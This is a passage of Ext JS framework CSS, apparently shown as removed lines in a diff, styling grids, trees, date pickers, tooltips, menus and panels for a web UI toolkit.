-.x-grid3-check-col { - width:100%; - height:16px; - background-position:center center; - background-repeat:no-repeat; - background-color:transparent; -} - -.x-grid3-check-col-on { - width:100%; - height:16px; - background-position:center center; - background-repeat:no-repeat; - background-color:transparent; -} - -/* Grouping classes */ -.x-grid-group, .x-grid-group-body, .x-grid-group-hd { - zoom:1; -} - -.x-grid-group-hd { - border-bottom: 2px solid; - cursor:pointer; - padding-top:6px; -} - -.x-grid-group-hd div.x-grid-group-title { - background:transparent no-repeat 3px 3px; - padding:4px 4px 4px 17px; -} - -.x-grid-group-collapsed .x-grid-group-body { - display:none; -} - -.ext-ie6 .x-grid3 .x-editor .x-form-text, .ext-ie7 .x-grid3 .x-editor .x-form-text { - position:relative; - top:-1px; -} - -.ext-ie .x-props-grid .x-editor .x-form-text { - position:static; - top:0; -} - -.x-grid-empty { - padding:10px; -} - -/* fix floating toolbar issue */ -.ext-ie7 .x-grid-panel .x-panel-bbar { - position:relative; -} - - -/* Reset position to static when Grid Panel has been framed */ -/* to resolve 'snapping' from top to bottom behavior. */ -/* @forumThread 86656 */ -.ext-ie7 .x-grid-panel .x-panel-mc .x-panel-bbar { - position: static; -} - -.ext-ie6 .x-grid3-header { - position: relative; -} - -/* Fix WebKit bug in Grids */ -.ext-webkit .x-grid-panel .x-panel-bwrap{ - -webkit-user-select:none; -} -.ext-webkit .x-tbar-page-number{ - -webkit-user-select:ignore; -} -/* end*/ - -/* column lines */ -.x-grid-with-col-lines .x-grid3-row td.x-grid3-cell { - padding-right:0; - border-right:1px solid; -} -.x-pivotgrid .x-grid3-header-offset table { - width: 100%; - border-collapse: collapse; -} - -.x-pivotgrid .x-grid3-header-offset table td { - padding: 4px 3px 4px 5px; - text-align: center; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - font-size: 11px; - line-height: 13px; - font-family: tahoma; -} - -.x-pivotgrid .x-grid3-row-headers { - display: block; - float: left; -} - -.x-pivotgrid .x-grid3-row-headers table { - height: 100%; - width: 100%; - border-collapse: collapse; -} - -.x-pivotgrid .x-grid3-row-headers table td { - height: 18px; - padding: 2px 7px 0 0; - text-align: right; - text-overflow: ellipsis; - font-size: 11px; - font-family: tahoma; -} - -.ext-gecko .x-pivotgrid .x-grid3-row-headers table td { - height: 21px; -} - -.x-grid3-header-title { - top: 0%; - left: 0%; - position: absolute; - text-align: center; - vertical-align: middle; - font-family: tahoma; - font-size: 11px; - padding: auto 1px; - display: table-cell; -} - -.x-grid3-header-title span { - position: absolute; - top: 50%; - left: 0%; - width: 100%; - margin-top: -6px; -}.x-dd-drag-proxy{ - position:absolute; - left:0; - top:0; - visibility:hidden; - z-index:15000; -} - -.x-dd-drag-ghost{ - -moz-opacity: 0.85; - opacity:.85; - filter: alpha(opacity=85); - border: 1px solid; - padding:3px; - padding-left:20px; - white-space:nowrap; -} - -.x-dd-drag-repair .x-dd-drag-ghost{ - -moz-opacity: 0.4; - opacity:.4; - filter: alpha(opacity=40); - border:0 none; - padding:0; - background-color:transparent; -} - -.x-dd-drag-repair .x-dd-drop-icon{ - visibility:hidden; -} - -.x-dd-drop-icon{ - position:absolute; - top:3px; - left:3px; - display:block; - width:16px; - height:16px; - background-color:transparent; - background-position: center; - background-repeat: no-repeat; - z-index:1; -} - -.x-view-selector { - position:absolute; - left:0; - top:0; - width:0; - border:1px dotted; - opacity: .5; - -moz-opacity: .5; - filter:alpha(opacity=50); - zoom:1; -}.ext-strict .ext-ie .x-tree .x-panel-bwrap{ - position:relative; - overflow:hidden; -} - -.x-tree-icon, .x-tree-ec-icon, .x-tree-elbow-line, .x-tree-elbow, .x-tree-elbow-end, .x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{ - border: 0 none; - height: 18px; - margin: 0; - padding: 0; - vertical-align: top; - width: 16px; - background-repeat: no-repeat; -} - -.x-tree-node-collapsed .x-tree-node-icon, .x-tree-node-expanded .x-tree-node-icon, .x-tree-node-leaf .x-tree-node-icon{ - border: 0 none; - height: 18px; - margin: 0; - padding: 0; - vertical-align: top; - width: 16px; - background-position:center; - background-repeat: no-repeat; -} - -.ext-ie .x-tree-node-indent img, .ext-ie .x-tree-node-icon, .ext-ie .x-tree-ec-icon { - vertical-align: middle !important; -} - -.ext-strict .ext-ie8 .x-tree-node-indent img, .ext-strict .ext-ie8 .x-tree-node-icon, .ext-strict .ext-ie8 .x-tree-ec-icon { - vertical-align: top !important; -} - -/* checkboxes */ - -input.x-tree-node-cb { - margin-left:1px; - height: 19px; - vertical-align: bottom; -} - -.ext-ie input.x-tree-node-cb { - margin-left:0; - margin-top: 1px; - width: 16px; - height: 16px; - vertical-align: middle; -} - -.ext-strict .ext-ie8 input.x-tree-node-cb{ - margin: 1px 1px; - height: 14px; - vertical-align: bottom; -} - -.ext-strict .ext-ie8 input.x-tree-node-cb + a{ - vertical-align: bottom; -} - -.ext-opera input.x-tree-node-cb { - height: 14px; - vertical-align: middle; -} - -.x-tree-noicon .x-tree-node-icon{ - width:0; height:0; -} - -/* No line styles */ -.x-tree-no-lines .x-tree-elbow{ - background-color:transparent; -} - -.x-tree-no-lines .x-tree-elbow-end{ - background-color:transparent; -} - -.x-tree-no-lines .x-tree-elbow-line{ - background-color:transparent; -} - -/* Arrows */ -.x-tree-arrows .x-tree-elbow{ - background-color:transparent; -} - -.x-tree-arrows .x-tree-elbow-plus{ - background:transparent no-repeat 0 0; -} - -.x-tree-arrows .x-tree-elbow-minus{ - background:transparent no-repeat -16px 0; -} - -.x-tree-arrows .x-tree-elbow-end{ - background-color:transparent; -} - -.x-tree-arrows .x-tree-elbow-end-plus{ - background:transparent no-repeat 0 0; -} - -.x-tree-arrows .x-tree-elbow-end-minus{ - background:transparent no-repeat -16px 0; -} - -.x-tree-arrows .x-tree-elbow-line{ - background-color:transparent; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-plus{ - background-position:-32px 0; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-minus{ - background-position:-48px 0; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-plus{ - background-position:-32px 0; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-minus{ - background-position:-48px 0; -} - -.x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{ - cursor:pointer; -} - -.ext-ie ul.x-tree-node-ct{ - font-size:0; - line-height:0; - zoom:1; -} - -.x-tree-node{ - white-space: nowrap; -} - -.x-tree-node-el { - line-height:18px; - cursor:pointer; -} - -.x-tree-node a, .x-dd-drag-ghost a{ - text-decoration:none; - -khtml-user-select:none; - -moz-user-select:none; - -webkit-user-select:ignore; - -kthml-user-focus:normal; - -moz-user-focus:normal; - -moz-outline: 0 none; - outline:0 none; -} - -.x-tree-node a span, .x-dd-drag-ghost a span{ - text-decoration:none; - padding:1px 3px 1px 2px; -} - -.x-tree-node .x-tree-node-disabled .x-tree-node-icon{ - -moz-opacity: 0.5; - opacity:.5; - filter: alpha(opacity=50); -} - -.x-tree-node .x-tree-node-inline-icon{ - background-color:transparent; -} - -.x-tree-node a:hover, .x-dd-drag-ghost a:hover{ - text-decoration:none; -} - -.x-tree-node div.x-tree-drag-insert-below{ - border-bottom:1px dotted; -} - -.x-tree-node div.x-tree-drag-insert-above{ - border-top:1px dotted; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below{ - border-bottom:0 none; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above{ - border-top:0 none; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{ - border-bottom:2px solid; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{ - border-top:2px solid; -} - -.x-tree-node .x-tree-drag-append a span{ - border:1px dotted; -} - -.x-dd-drag-ghost .x-tree-node-indent, .x-dd-drag-ghost .x-tree-ec-icon{ - display:none !important; -} - -/* Fix for ie rootVisible:false issue */ -.x-tree-root-ct { - zoom:1; -} -.x-date-picker { - border: 1px solid; - border-top:0 none; - position:relative; -} - -.x-date-picker a { - -moz-outline:0 none; - outline:0 none; -} - -.x-date-inner, .x-date-inner td, .x-date-inner th{ - border-collapse:separate; -} - -.x-date-middle,.x-date-left,.x-date-right { - background: repeat-x 0 -83px; - overflow:hidden; -} - -.x-date-middle .x-btn-tc,.x-date-middle .x-btn-tl,.x-date-middle .x-btn-tr, -.x-date-middle .x-btn-mc,.x-date-middle .x-btn-ml,.x-date-middle .x-btn-mr, -.x-date-middle .x-btn-bc,.x-date-middle .x-btn-bl,.x-date-middle .x-btn-br{ - background:transparent !important; - vertical-align:middle; -} - -.x-date-middle .x-btn-mc em.x-btn-arrow { - background:transparent no-repeat right 0; -} - -.x-date-right, .x-date-left { - width:18px; -} - -.x-date-right{ - text-align:right; -} - -.x-date-middle { - padding-top:2px; - padding-bottom:2px; - width:130px; /* FF3 */ -} - -.x-date-right a, .x-date-left a{ - display:block; - width:16px; - height:16px; - background-position: center; - background-repeat: no-repeat; - cursor:pointer; - -moz-opacity: 0.6; - opacity:.6; - filter: alpha(opacity=60); -} - -.x-date-right a:hover, .x-date-left a:hover{ - -moz-opacity: 1; - opacity:1; - filter: alpha(opacity=100); -} - -.x-item-disabled .x-date-right a:hover, .x-item-disabled .x-date-left a:hover{ - -moz-opacity: 0.6; - opacity:.6; - filter: alpha(opacity=60); -} - -.x-date-right a { - margin-right:2px; - text-decoration:none !important; -} - -.x-date-left a{ - margin-left:2px; - text-decoration:none !important; -} - -table.x-date-inner { - width: 100%; - table-layout:fixed; -} - -.ext-webkit table.x-date-inner{ - /* Fix for webkit browsers */ - width: 175px; -} - - -.x-date-inner th { - width:25px; -} - -.x-date-inner th { - background: repeat-x left top; - text-align:right !important; - border-bottom: 1px solid; - cursor:default; - padding:0; - border-collapse:separate; -} - -.x-date-inner th span { - display:block; - padding:2px; - padding-right:7px; -} - -.x-date-inner td { - border: 1px solid; - text-align:right; - padding:0; -} - -.x-date-inner a { - padding:2px 5px; - display:block; - text-decoration:none; - text-align:right; - zoom:1; -} - -.x-date-inner .x-date-active{ - cursor:pointer; - color:black; -} - -.x-date-inner .x-date-selected a{ - background: repeat-x left top; - border:1px solid; - padding:1px 4px; -} - -.x-date-inner .x-date-today a{ - border: 1px solid; - padding:1px 4px; -} - -.x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a { - text-decoration:none !important; -} - -.x-date-bottom { - padding:4px; - border-top: 1px solid; - background: repeat-x left top; -} - -.x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{ - text-decoration:none !important; -} - -.x-item-disabled .x-date-inner a:hover{ - background: none; -} - -.x-date-inner .x-date-disabled a { - cursor:default; -} - -.x-date-menu .x-menu-item { - padding:1px 24px 1px 4px; - white-space: nowrap; -} - -.x-date-menu .x-menu-item .x-menu-item-icon { - width:10px; - height:10px; - margin-right:5px; - background-position:center -4px !important; -} - -.x-date-mp { - position:absolute; - left:0; - top:0; - display:none; -} - -.x-date-mp td { - padding:2px; - font:normal 11px arial, helvetica,tahoma,sans-serif; -} - -td.x-date-mp-month,td.x-date-mp-year,td.x-date-mp-ybtn { - border: 0 none; - text-align:center; - vertical-align: middle; - width:25%; -} - -.x-date-mp-ok { - margin-right:3px; -} - -.x-date-mp-btns button { - text-decoration:none; - text-align:center; - text-decoration:none !important; - border:1px solid; - padding:1px 3px 1px; - cursor:pointer; -} - -.x-date-mp-btns { - background: repeat-x left top; -} - -.x-date-mp-btns td { - border-top: 1px solid; - text-align:center; -} - -td.x-date-mp-month a,td.x-date-mp-year a { - display:block; - padding:2px 4px; - text-decoration:none; - text-align:center; -} - -td.x-date-mp-month a:hover,td.x-date-mp-year a:hover { - text-decoration:none; - cursor:pointer; -} - -td.x-date-mp-sel a { - padding:1px 3px; - background: repeat-x left top; - border:1px solid; -} - -.x-date-mp-ybtn a { - overflow:hidden; - width:15px; - height:15px; - cursor:pointer; - background:transparent no-repeat; - display:block; - margin:0 auto; -} - -.x-date-mp-ybtn a.x-date-mp-next { - background-position:0 -120px; -} - -.x-date-mp-ybtn a.x-date-mp-next:hover { - background-position:-15px -120px; -} - -.x-date-mp-ybtn a.x-date-mp-prev { - background-position:0 -105px; -} - -.x-date-mp-ybtn a.x-date-mp-prev:hover { - background-position:-15px -105px; -} - -.x-date-mp-ybtn { - text-align:center; -} - -td.x-date-mp-sep { - border-right:1px solid; -}.x-tip{ - position: absolute; - top: 0; - left:0; - visibility: hidden; - z-index: 20002; - border:0 none; -} - -.x-tip .x-tip-close{ - height: 15px; - float:right; - width: 15px; - margin:0 0 2px 2px; - cursor:pointer; - display:none; -} - -.x-tip .x-tip-tc { - background: transparent no-repeat 0 -62px; - padding-top:3px; - overflow:hidden; - zoom:1; -} - -.x-tip .x-tip-tl { - background: transparent no-repeat 0 0; - padding-left:6px; - overflow:hidden; - zoom:1; -} - -.x-tip .x-tip-tr { - background: transparent no-repeat right 0; - padding-right:6px; - overflow:hidden; - zoom:1; -} - -.x-tip .x-tip-bc { - background: transparent no-repeat 0 -121px; - height:3px; - overflow:hidden; -} - -.x-tip .x-tip-bl { - background: transparent no-repeat 0 -59px; - padding-left:6px; - zoom:1; -} - -.x-tip .x-tip-br { - background: transparent no-repeat right -59px; - padding-right:6px; - zoom:1; -} - -.x-tip .x-tip-mc { - border:0 none; -} - -.x-tip .x-tip-ml { - background: no-repeat 0 -124px; - padding-left:6px; - zoom:1; -} - -.x-tip .x-tip-mr { - background: transparent no-repeat right -124px; - padding-right:6px; - zoom:1; -} - -.ext-ie .x-tip .x-tip-header,.ext-ie .x-tip .x-tip-tc { - font-size:0; - line-height:0; -} - -.ext-border-box .x-tip .x-tip-header, .ext-border-box .x-tip .x-tip-tc{ - line-height: 1px; -} - -.x-tip .x-tip-header-text { - padding:0; - margin:0 0 2px 0; -} - -.x-tip .x-tip-body { - margin:0 !important; - line-height:14px; - padding:0; -} - -.x-tip .x-tip-body .loading-indicator { - margin:0; -} - -.x-tip-draggable .x-tip-header,.x-tip-draggable .x-tip-header-text { - cursor:move; -} - -.x-form-invalid-tip .x-tip-tc { - background: repeat-x 0 -12px; - padding-top:6px; -} - -.x-form-invalid-tip .x-tip-bc { - background: repeat-x 0 -18px; - height:6px; -} - -.x-form-invalid-tip .x-tip-bl { - background: no-repeat 0 -6px; -} - -.x-form-invalid-tip .x-tip-br { - background: no-repeat right -6px; -} - -.x-form-invalid-tip .x-tip-body { - padding:2px; -} - -.x-form-invalid-tip .x-tip-body { - padding-left:24px; - background:transparent no-repeat 2px 2px; -} - -.x-tip-anchor { - position: absolute; - width: 9px; - height: 10px; - overflow:hidden; - background: transparent no-repeat 0 0; - zoom:1; -} -.x-tip-anchor-bottom { - background-position: -9px 0; -} -.x-tip-anchor-right { - background-position: -18px 0; - width: 10px; -} -.x-tip-anchor-left { - background-position: -28px 0; - width: 10px; -}.x-menu { - z-index: 15000; - zoom: 1; - background: repeat-y; -} - -.x-menu-floating{ - border: 1px solid; -} - -.x-menu a { - text-decoration: none !important; -} - -.ext-ie .x-menu { - zoom:1; - overflow:hidden; -} - -.x-menu-list{ - padding: 2px; - background-color:transparent; - border:0 none; - overflow:hidden; - overflow-y: hidden; -} - -.ext-strict .ext-ie .x-menu-list{ - position: relative; -} - -.x-menu li{ - line-height:100%; -} - -.x-menu li.x-menu-sep-li{ - font-size:1px; - line-height:1px; -} - -.x-menu-list-item{ - white-space: nowrap; - display:block; - padding:1px; -} - -.x-menu-item{ - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-menu-item-arrow{ - background:transparent no-repeat right; -} - -.x-menu-sep { - display:block; - font-size:1px; - line-height:1px; - margin: 2px 3px; - border-bottom:1px solid; - overflow:hidden; -} - -.x-menu-focus { - position:absolute; - left:-1px; - top:-1px; - width:1px; - height:1px; - line-height:1px; - font-size:1px; - -moz-outline:0 none; - outline:0 none; - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; - overflow:hidden; - display:block; -} - -a.x-menu-item { - cursor: pointer; - display: block; - line-height: 16px; - outline-color: -moz-use-text-color; - outline-style: none; - outline-width: 0; - padding: 3px 21px 3px 27px; - position: relative; - text-decoration: none; - white-space: nowrap; -} - -.x-menu-item-active { - background-repeat: repeat-x; - background-position: left bottom; - border-style:solid; - border-width: 1px 0; - margin:0 1px; - padding: 0; -} - -.x-menu-item-active a.x-menu-item { - border-style:solid; - border-width:0 1px; - margin:0 -1px; -} - -.x-menu-item-icon { - border: 0 none; - height: 16px; - padding: 0; - vertical-align: top; - width: 16px; - position: absolute; - left: 3px; - top: 3px; - margin: 0; - background-position:center; -} - -.ext-ie .x-menu-item-icon { - left: -24px; -} -.ext-strict .x-menu-item-icon { - left: 3px; -} - -.ext-ie6 .x-menu-item-icon { - left: -24px; -} - -.ext-ie .x-menu-item-icon { - vertical-align: middle; -} - -.x-menu-check-item .x-menu-item-icon{ - background: transparent no-repeat center; -} - -.x-menu-group-item .x-menu-item-icon{ - background-color: transparent; -} - -.x-menu-item-checked .x-menu-group-item .x-menu-item-icon{ - background: transparent no-repeat center; -} - -.x-date-menu .x-menu-list{ - padding: 0; -} - -.x-menu-date-item{ - padding:0; -} - -.x-menu .x-color-palette, .x-menu .x-date-picker{ - margin-left: 26px; - margin-right:4px; -} - -.x-menu .x-date-picker{ - border:1px solid; - margin-top:2px; - margin-bottom:2px; -} - -.x-menu-plain .x-color-palette, .x-menu-plain .x-date-picker{ - margin: 0; - border: 0 none; -} - -.x-date-menu { - padding:0 !important; -} - -/* - * fixes separator visibility problem in IE 6 - */ -.ext-strict .ext-ie6 .x-menu-sep-li { - padding: 3px 4px; -} -.ext-strict .ext-ie6 .x-menu-sep { - margin: 0; - height: 1px; -} - -/* - * Fixes an issue with "fat" separators in webkit - */ -.ext-webkit .x-menu-sep{ - height: 1px; -} - -/* - * Ugly mess to remove the white border under the picker - */ -.ext-ie .x-date-menu{ - height: 199px; -} - -.ext-strict .ext-ie .x-date-menu, .ext-border-box .ext-ie8 .x-date-menu{ - height: 197px; -} - -.ext-strict .ext-ie7 .x-date-menu{ - height: 195px; -} - -.ext-strict .ext-ie8 .x-date-menu{ - height: auto; -} - -.x-cycle-menu .x-menu-item-checked { - border:1px dotted !important; - padding:0; -} - -.x-menu .x-menu-scroller { - width: 100%; - background-repeat:no-repeat; - background-position:center; - height:8px; - line-height: 8px; - cursor:pointer; - margin: 0; - padding: 0; -} - -.x-menu .x-menu-scroller-active{ - height: 6px; - line-height: 6px; -} - -.x-menu-list-item-indent{ - padding-left: 27px; -}/* - Creates rounded, raised boxes like on the Ext website - the markup isn't pretty: -
-
-
-

YOUR TITLE HERE (optional)

-
YOUR CONTENT HERE
-
-
-
- */ - -.x-box-tl { - background: transparent no-repeat 0 0; - zoom:1; -} - -.x-box-tc { - height: 8px; - background: transparent repeat-x 0 0; - overflow: hidden; -} - -.x-box-tr { - background: transparent no-repeat right -8px; -} - -.x-box-ml { - background: transparent repeat-y 0; - padding-left: 4px; - overflow: hidden; - zoom:1; -} - -.x-box-mc { - background: repeat-x 0 -16px; - padding: 4px 10px; -} - -.x-box-mc h3 { - margin: 0 0 4px 0; - zoom:1; -} - -.x-box-mr { - background: transparent repeat-y right; - padding-right: 4px; - overflow: hidden; -} - -.x-box-bl { - background: transparent no-repeat 0 -16px; - zoom:1; -} - -.x-box-bc { - background: transparent repeat-x 0 -8px; - height: 8px; - overflow: hidden; -} - -.x-box-br { - background: transparent no-repeat right -24px; -} - -.x-box-tl, .x-box-bl { - padding-left: 8px; - overflow: hidden; -} - -.x-box-tr, .x-box-br { - padding-right: 8px; - overflow: hidden; -}.x-combo-list { - border:1px solid; - zoom:1; - overflow:hidden; -} - -.x-combo-list-inner { - overflow:auto; - position:relative; /* for calculating scroll offsets */ - zoom:1; - overflow-x:hidden; -} - -.x-combo-list-hd { - border-bottom:1px solid; - padding:3px; -} - -.x-resizable-pinned .x-combo-list-inner { - border-bottom:1px solid; -} - -.x-combo-list-item { - padding:2px; - border:1px solid; - white-space: nowrap; - overflow:hidden; - text-overflow: ellipsis; -} - -.x-combo-list .x-combo-selected{ - border:1px dotted !important; - cursor:pointer; -} - -.x-combo-list .x-toolbar { - border-top:1px solid; - border-bottom:0 none; -}.x-panel { - border-style: solid; - border-width:0; -} - -.x-panel-header { - overflow:hidden; - zoom:1; - padding:5px 3px 4px 5px; - border:1px solid; - line-height: 15px; - background: transparent repeat-x 0 -1px; -} - -.x-panel-body { - border:1px solid; - border-top:0 none; - overflow:hidden; - position: relative; /* added for item scroll positioning */ -} - -.x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar { - border:1px solid; - border-top:0 none; - overflow:hidden; - padding:2px; -} - -.x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar { - border-top:1px solid; - border-bottom: 0 none; -} - -.x-panel-body-noheader, .x-panel-mc .x-panel-body { - border-top:1px solid; -} - -.x-panel-header { - overflow:hidden; - zoom:1; -} - -.x-panel-tl .x-panel-header { - padding:5px 0 4px 0; - border:0 none; - background:transparent no-repeat; -} - -.x-panel-tl .x-panel-icon, .x-window-tl .x-panel-icon { - padding-left:20px !important; - background-repeat:no-repeat; - background-position:0 4px; - zoom:1; -} - -.x-panel-inline-icon { - width:16px; - height:16px; - background-repeat:no-repeat; - background-position:0 0; - vertical-align:middle; - margin-right:4px; - margin-top:-1px; - margin-bottom:-1px; -} - -.x-panel-tc { - background: transparent repeat-x 0 0; - overflow:hidden; -} - -/* fix ie7 strict mode bug */ -.ext-strict .ext-ie7 .x-panel-tc { - overflow: visible; -} - -.x-panel-tl { - background: transparent no-repeat 0 0; - padding-left:6px; - zoom:1; - border-bottom:1px solid; -} - -.x-panel-tr { - background: transparent no-repeat right 0; - zoom:1; - padding-right:6px; -} - -.x-panel-bc { - background: transparent repeat-x 0 bottom; - zoom:1; -} - -.x-panel-bc .x-panel-footer { - zoom:1; -} - -.x-panel-bl { - background: transparent no-repeat 0 bottom; - padding-left:6px; - zoom:1; -} - -.x-panel-br { - background: transparent no-repeat right bottom; - padding-right:6px; - zoom:1; -} - -.x-panel-mc { - border:0 none; - padding:0; - margin:0; - padding-top:6px; -} - -.x-panel-mc .x-panel-body { - background-color:transparent; - border: 0 none; -} - -.x-panel-ml { - background: repeat-y 0 0; - padding-left:6px; - zoom:1; -} - -.x-panel-mr { - background: transparent repeat-y right 0; - padding-right:6px; - zoom:1; -} - -.x-panel-bc .x-panel-footer { - padding-bottom:6px; -} - -.x-panel-nofooter .x-panel-bc, .x-panel-nofooter .x-window-bc { - height:6px; - font-size:0; - line-height:0; -} - -.x-panel-bwrap { - overflow:hidden; - zoom:1; - left:0; - top:0; -} -.x-panel-body { - overflow:hidden; - zoom:1; -} - -.x-panel-collapsed .x-resizable-handle{ - display:none; -} - -.ext-gecko .x-panel-animated div { - overflow:hidden !important; -} - -/* Plain */ -.x-plain-body { - overflow:hidden; -} - -.x-plain-bbar .x-toolbar { - overflow:hidden; - padding:2px; -} - -.x-plain-tbar .x-toolbar { - overflow:hidden; - padding:2px; -} - -.x-plain-bwrap { - overflow:hidden; - zoom:1; -} - -.x-plain { - overflow:hidden; -} - -/* Tools */ -.x-tool { - overflow:hidden; - width:15px; - height:15px; - float:right; - cursor:pointer; - background:transparent no-repeat; - margin-left:2px; -} - -/* expand / collapse tools */ -.x-tool-toggle { - background-position:0 -60px; -} - -.x-tool-toggle-over { - background-position:-15px -60px; -} - -.x-panel-collapsed .x-tool-toggle { - background-position:0 -75px; -} - -.x-panel-collapsed .x-tool-toggle-over { - background-position:-15px -75px; -} - - -.x-tool-close { - background-position:0 -0; -} - -.x-tool-close-over { - background-position:-15px 0; -} - -.x-tool-minimize { - background-position:0 -15px; -} - -.x-tool-minimize-over { - background-position:-15px -15px; -} - -.x-tool-maximize { - background-position:0 -30px; -} - -.x-tool-maximize-over { - background-position:-15px -30px; -} - -.x-tool-restore { - background-position:0 -45px; -} - -.x-tool-restore-over { - background-position:-15px -45px; -} - -.x-tool-gear { - background-position:0 -90px; -} - -.x-tool-gear-over { - background-position:-15px -90px; -} - -.x-tool-prev { - background-position:0 -105px; -} - -.x-tool-prev-over { - background-position:-15px -105px; -} - -.x-tool-next { - background-position:0 -120px; -} - -.x-tool-next-over { - background-position:-15px -120px; -} - -.x-tool-pin { - background-position:0 -135px; -} - -.x-tool-pin-over { - background-position:-15px -135px; -} - -.x-tool-unpin { - background-position:0 -150px; -} - -.x-tool-unpin-over { - background-position:-15px -150px; -} - -.x-tool-right { - background-position:0 -165px; -} - -.x-tool-right-over { - background-position:-15px -165px; -} - -.x-tool-left { - background-position:0 -180px; -} - -.x-tool-left-over { - background-position:-15px -180px; -} - -.x-tool-down { - background-position:0 -195px; -} - -.x-tool-down-over { - background-position:-15px -195px; -} - -.x-tool-up { - background-position:0 -210px; -} - -.x-tool-up-over { - background-position:-15px -210px; -} - -.x-tool-refresh { - background-position:0 -225px; -} - -.x-tool-refresh-over { - background-position:-15px -225px; -} - -.x-tool-plus { - background-position:0 -240px; -} - -.x-tool-plus-over { - background-position:-15px -240px; -} - -.x-tool-minus { - background-position:0 -255px; -} - -.x-tool-minus-over { - background-position:-15px -255px; -} - -.x-tool-search { - background-position:0 -270px; -} - -.x-tool-search-over { - background-position:-15px -270px; -} - -.x-tool-save { - background-position:0 -285px; -} - -.x-tool-save-over { - background-position:-15px -285px; -} - -.x-tool-help { - background-position:0 -300px; -} - -.x-tool-help-over { - background-position:-15px -300px; -} - -.x-tool-print { - background-position:0 -315px; -} - -.x-tool-print-over { - background-position:-15px -315px; -} - -.x-tool-expand { - background-position:0 -330px; -} - -.x-tool-expand-over { - background-position:-15px -330px; -} - -.x-tool-collapse { - background-position:0 -345px; -} - -.x-tool-collapse-over { - background-position:-15px -345px; -} - -.x-tool-resize { - background-position:0 -360px; -} - -.x-tool-resize-over { - background-position:-15px -360px; -} - -.x-tool-move { - background-position:0 -375px; -} - -.x-tool-move-over { - background-position:-15px -375px; -} - -/* Ghosting */ -.x-panel-ghost { - z-index:12000; - overflow:hidden; - position:absolute; - left:0;top:0; - opacity:.65; - -moz-opacity:.65; - filter:alpha(opacity=65); -} - -.x-panel-ghost ul { - margin:0; - padding:0; - overflow:hidden; - font-size:0; - line-height:0; - border:1px solid; - border-top:0 none; - display:block; -} - -.x-panel-ghost * { - cursor:move !important; -} - -.x-panel-dd-spacer { - border:2px dashed; -} - -/* Buttons */ -.x-panel-btns { - padding:5px; - overflow:hidden; -} - -.x-panel-btns td.x-toolbar-cell{ - padding:3px; -} - -.x-panel-btns .x-btn-focus .x-btn-left{ - background-position:0 -147px; -} - -.x-panel-btns .x-btn-focus .x-btn-right{ - background-position:0 -168px; -} - -.x-panel-btns .x-btn-focus .x-btn-center{ - background-position:0 -189px; -} - -.x-panel-btns .x-btn-over .x-btn-left{ - background-position:0 -63px; -} - -.x-panel-btns .x-btn-over .x-btn-right{ - background-position:0 -84px; -} - -.x-panel-btns .x-btn-over .x-btn-center{ - background-position:0 -105px; -} - -.x-panel-btns .x-btn-click .x-btn-center{ - background-position:0 -126px; -} - -.x-panel-btns .x-btn-click .x-btn-right{ - background-position:0 -84px; -} - -.x-panel-btns .x-btn-click .x-btn-left{ - background-position:0 -63px; -} - -.x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{ - white-space: nowrap; -} -/** - * W3C Suggested Default style sheet for HTML 4 - * http://www.w3.org/TR/CSS21/sample.html - * - * Resets for Ext.Panel @cfg normal: true - */ -.x-panel-reset .x-panel-body html, -.x-panel-reset .x-panel-body address, -.x-panel-reset .x-panel-body blockquote, -.x-panel-reset .x-panel-body body, -.x-panel-reset .x-panel-body dd, -.x-panel-reset .x-panel-body div, -.x-panel-reset .x-panel-body dl, -.x-panel-reset .x-panel-body dt, -.x-panel-reset .x-panel-body fieldset, -.x-panel-reset .x-panel-body form, -.x-panel-reset .x-panel-body frame, frameset, -.x-panel-reset .x-panel-body h1, -.x-panel-reset .x-panel-body h2, -.x-panel-reset .x-panel-body h3, -.x-panel-reset .x-panel-body h4, -.x-panel-reset .x-panel-body h5, -.x-panel-reset .x-panel-body h6, -.x-panel-reset .x-panel-body noframes, -.x-panel-reset .x-panel-body ol, -.x-panel-reset .x-panel-body p, -.x-panel-reset .x-panel-body ul, -.x-panel-reset .x-panel-body center, -.x-panel-reset .x-panel-body dir, -.x-panel-reset .x-panel-body hr, -.x-panel-reset .x-panel-body menu, -.x-panel-reset .x-panel-body pre { display: block } -.x-panel-reset .x-panel-body li { display: list-item } -.x-panel-reset .x-panel-body head { display: none } -.x-panel-reset .x-panel-body table { display: table } -.x-panel-reset .x-panel-body tr { display: table-row } -.x-panel-reset .x-panel-body thead { display: table-header-group } -.x-panel-reset .x-panel-body tbody { display: table-row-group } -.x-panel-reset .x-panel-body tfoot { display: table-footer-group } -.x-panel-reset .x-panel-body col { display: table-column } -.x-panel-reset .x-panel-body colgroup { display: table-column-group } -.x-panel-reset .x-panel-body td, -.x-panel-reset .x-panel-body th { display: table-cell } -.x-panel-reset .x-panel-body caption { display: table-caption } -.x-panel-reset .x-panel-body th { font-weight: bolder; text-align: center } -.x-panel-reset .x-panel-body caption { text-align: center } -.x-panel-reset .x-panel-body body { margin: 8px } -.x-panel-reset .x-panel-body h1 { font-size: 2em; margin: .67em 0 } -.x-panel-reset .x-panel-body h2 { font-size: 1.5em; margin: .75em 0 } -.x-panel-reset .x-panel-body h3 { font-size: 1.17em; margin: .83em 0 } -.x-panel-reset .x-panel-body h4, -.x-panel-reset .x-panel-body p, -.x-panel-reset .x-panel-body 